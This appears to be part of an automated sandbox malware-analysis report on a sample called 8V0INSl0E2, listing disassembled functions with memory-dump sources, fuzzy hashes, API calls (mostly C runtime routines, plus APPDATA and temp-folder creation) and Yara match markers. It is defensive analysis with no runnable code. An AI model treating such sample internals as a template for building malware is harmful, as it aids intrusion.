Instruction ID: 1ad9d6d7365e600a7bb69782b0834f4d420f3f91d9e0c3ac1aa475b9fcfe298e
Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: 6521B673F2043947770CC57ECC522BDB6E1C78C501745423AE8A6EA2C1D96CD917E2E4

Function 04D19912 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction ID: 2b6ebc066a265f389a770a4fa731f2276b5889bab81cc58d1030c46ab4bd2f6d
Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: A921B373F204394B7B0CC57ECC522BDB6E1C78C601745823AE8A6EA2C1D96CD917E2E4

Function 04B6A659 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: f705b060c1f6f5262c094593700d2cd48994f03d532b45409b7b1955c26ffa67
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: 1111A723F30C255B675C81698C1327AA1D2DBDC14030F433AD827E7284E894DE23D290

Function 0041A3F2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: f1e66852e6b8581706c01849561528f719d4aeccf6fe4fc0aff0fb2656777429
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: D6118A73F30C255B675C816D8C172BAA5D2EBDC25074F533AD826E7284E998DE23D290

Function 04D197F2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: ea619eafe0a27f5ca5ddc790878c589a55d8ff86897b665d6ab358ac8b72fced
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: 7511A363F30C256B775C816D8C132BAA1D2EBD815030F433AD826E7284E8A4EE23D290

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 04B5ABC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 167435ee977a7fbd445ba0559425f01829aa2938fa114d453fb5a653692ef81a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5D110477240141439715CA2DDDB43BAE7B5EFCE320B2C47EAD9826B778D222F5459600

Function 0040A960 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: bf3d62387290270b8e9c206f9b330aa6ec5fad9da35dacc9460757c01b80fc97
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 43115EF730038143D704862EC5B45B7E395EBC6321B2F4B7BC0825B7C8C23A9865E50A

Function 04D09D60 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b428dd742158c75bbf7b1438f5768eb5620e00cab4fc8cde85d728e48ff9894c
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: CA11E9F728104283D6048A2ED4B47F7A795FBC532172CC2E6D0414B7DED222F1459510

Function 0081CE4C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af9e8e96e9cf95da4d70735fad294abdd2a0e5b50037db738aaec3e22fbdcf28
Instruction ID: db81e69190c320d2655237c542d41d8570846cc3ce526e10e69b6a1d4434d66d
Opcode Fuzzy Hash: af9e8e96e9cf95da4d70735fad294abdd2a0e5b50037db738aaec3e22fbdcf28
Instruction Fuzzy Hash: 601108B754825E9FEB02CE259D158FF3B6CEDD2720720405BE802C6583C3654E599B79

Function 00E19CCB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2597293935.0000000000E19000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E19000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e19000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: f2a05d64e670b797cf07d411f87cb3d0dc1e3c2079ac9ba4e781d11c8868760c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: BB117CB2340100AFDB44DE65EC91FE673EAEB88360B298065ED08DB316D675E841C7A0

Function 04B50D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: a9a372e72a0caa430201dbf1f27ff0e92a8f4d5767ac8951d198d37f9d6f0fe4
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3001A276A006048FDF21EF24C814BAAB3E5EBC6316F5548E5ED0A9B291E774B9418F90

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 04B638D6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: 3adf2e35d5b9c0a310d9754d6c6fb1823ddebb16a07c1d5795a84cded8ca527e
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 93E08C72911228EBCB24DB8CC905D8AF3FCEB44B40B11849AF906D3140C274EE00CBD0

Function 0041366F Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: fd5c11342e53f5fd9e78528a8d63764efe72d1229905d7d1658511e5362cd08d
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: EEE04632911228EBCB24DF898A08A8AF3ACEB44B09B11049AB501D3210C274DE80C7D4

Function 04D12A6F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: 5f822c91a7d1eed5ed7e692976c2dc01ccd029a344349e200541729f9320635f
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 86E08C32A11238FBCB24DB9DD90498AF3ECEB48B00B114496BA01E3120C270EE00C7E0

Function 04D0E30D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction ID: 41bb5cc4d6447e106e878c6cb919990a1a825ea81fe59227b209d481c95240f8
Opcode Fuzzy Hash: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction Fuzzy Hash: 8AE04671500108BFCF11BF24DC48A8A3F28FB00242B008824F80997132CB35ED82CA64

Function 00409088 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,00409066), ref: 00409094
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409066), ref: 0040909F
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409066), ref: 004090B0
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004090C2
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004090D0
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409066), ref: 004090F3
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 0040910F
CloseHandle.KERNEL32(00000000,?,?,00409066), ref: 0040911F

Strings

kernel32.dll, xrefs: 004090AB
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040909A
SleepConditionVariableCS, xrefs: 004090BC
WakeAllConditionVariable, xrefs: 004090C8

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: acc3deda13f420712ce33b53dd37b90dad73ad81c8ab949137041f64949c0d3f
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 410196B1F40322ABE7202B75AD0DB963B989B4CB01B154036FD15E2295D77CCC01866D

Function 04B6744A Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 04B6748E

Part of subcall function 04B6714A: _free.LIBCMT ref: 04B67167
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B67179
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6718B
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6719D
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671AF
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671C1
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671D3
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671E5
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671F7
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B67209
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6721B
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6722D
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6723F

_free.LIBCMT ref: 04B67483

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B674A5
_free.LIBCMT ref: 04B674BA
_free.LIBCMT ref: 04B674C5
_free.LIBCMT ref: 04B674E7
_free.LIBCMT ref: 04B674FA
_free.LIBCMT ref: 04B67508
_free.LIBCMT ref: 04B67513
_free.LIBCMT ref: 04B6754B
_free.LIBCMT ref: 04B67552
_free.LIBCMT ref: 04B6756F
_free.LIBCMT ref: 04B67587

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: a49ac5cddb3af3ba052fe7e3f0a87cd181272b82a2030429cef212a0fe845d49
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: E6315E75600705AFEB25AA7CD848B5A77E9FF00318F1448DAE55AD7190DF38F9809B20

Function 004171E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417227

Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F00
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F12
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F24
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F36
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F48
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F5A
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F6C
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F7E
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F90
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FA2
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FB4
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FC6
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FD8

_free.LIBCMT ref: 0041721C

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041723E
_free.LIBCMT ref: 00417253
_free.LIBCMT ref: 0041725E
_free.LIBCMT ref: 00417280
_free.LIBCMT ref: 00417293
_free.LIBCMT ref: 004172A1
_free.LIBCMT ref: 004172AC
_free.LIBCMT ref: 004172E4
_free.LIBCMT ref: 004172EB
_free.LIBCMT ref: 00417308
_free.LIBCMT ref: 00417320

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction ID: edf7faae9d3bf0885fb7c5c7e3fb72ef0fb286978f56b7ec46c8a8d77fdb3eda
Opcode Fuzzy Hash: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction Fuzzy Hash: A1313D31608204ABEB21AB7AD845BD777F4AF41354F24885BF559D7261EE38ECC1C628

Function 04D165E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D1661C
___free_lconv_mon.LIBCMT ref: 04D16627

Part of subcall function 04D162E3: _free.LIBCMT ref: 04D16300
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D16312
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D16324
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D16336
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D16348
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D1635A
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D1636C
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D1637E
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D16390
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D163A2
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D163B4
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D163C6
Part of subcall function 04D162E3: _free.LIBCMT ref: 04D163D8

_free.LIBCMT ref: 04D1663E
_free.LIBCMT ref: 04D16653
_free.LIBCMT ref: 04D1665E
_free.LIBCMT ref: 04D16680
_free.LIBCMT ref: 04D16693
_free.LIBCMT ref: 04D166A1
_free.LIBCMT ref: 04D166AC
_free.LIBCMT ref: 04D166E4
_free.LIBCMT ref: 04D166EB
_free.LIBCMT ref: 04D16708
_free.LIBCMT ref: 04D16720

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: ddfc5998a236cbf4f5f369fe881c9e97d09bf5e96e19da3b365bc0fe214b50e1
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: E2311731701200BBEB22AE79F984B5677E9FF00314F14886AE859D65B1DE75F890CB24

Function 04B5B342 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04B5B43F
type_info::operator==.LIBVCRUNTIME ref: 04B5B461
___TypeMatch.LIBVCRUNTIME ref: 04B5B570
IsInExceptionSpec.LIBVCRUNTIME ref: 04B5B642
_UnwindNestedFrames.LIBCMT ref: 04B5B6C6
CallUnexpected.LIBVCRUNTIME ref: 04B5B6E1

Strings

csm, xrefs: 04B5B37F
csm, xrefs: 04B5B3EC
csm, xrefs: 04B5B498

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: c31e20d1355836f285d9491e8ffad5959cf91f3a29fe7581a68731436262d44c
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 31B12771C04209ABDF29DFA8D880AAEFBB5EF08314B144599EC156B261D731FA51CFA1

Function 0040B0DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B1D8
type_info::operator==.LIBVCRUNTIME ref: 0040B1FA
___TypeMatch.LIBVCRUNTIME ref: 0040B309
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B3DB
_UnwindNestedFrames.LIBCMT ref: 0040B45F
CallUnexpected.LIBVCRUNTIME ref: 0040B47A

Strings

csm, xrefs: 0040B231
csm, xrefs: 0040B118
csm, xrefs: 0040B185

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: 3d06a1d46c9e927f581abf88e740a03f69e3fad8364d4cdf02b7d05f470413ac
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: DAB15471800209EFCF29DFA5C8819AEB7B5FF14314B14456BE8117B692D338DA61CBDA

Function 04D0A4DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04D0A5D8
type_info::operator==.LIBVCRUNTIME ref: 04D0A5FA
___TypeMatch.LIBVCRUNTIME ref: 04D0A709
IsInExceptionSpec.LIBVCRUNTIME ref: 04D0A7DB
_UnwindNestedFrames.LIBCMT ref: 04D0A85F
CallUnexpected.LIBVCRUNTIME ref: 04D0A87A

Strings

csm, xrefs: 04D0A585
csm, xrefs: 04D0A518
csm, xrefs: 04D0A631

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: a7121a0e40d7e731409b6aaa985743287df470200f1f2564f25e72451b2831d3
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 2CB18971900309EFDF29DFA4D980AAEBBB5FF64314B14C15AE8116B391D370EA51CBA1

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

APPDATA, xrefs: 10001D3F
TMPDIR, xrefs: 10001E24

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
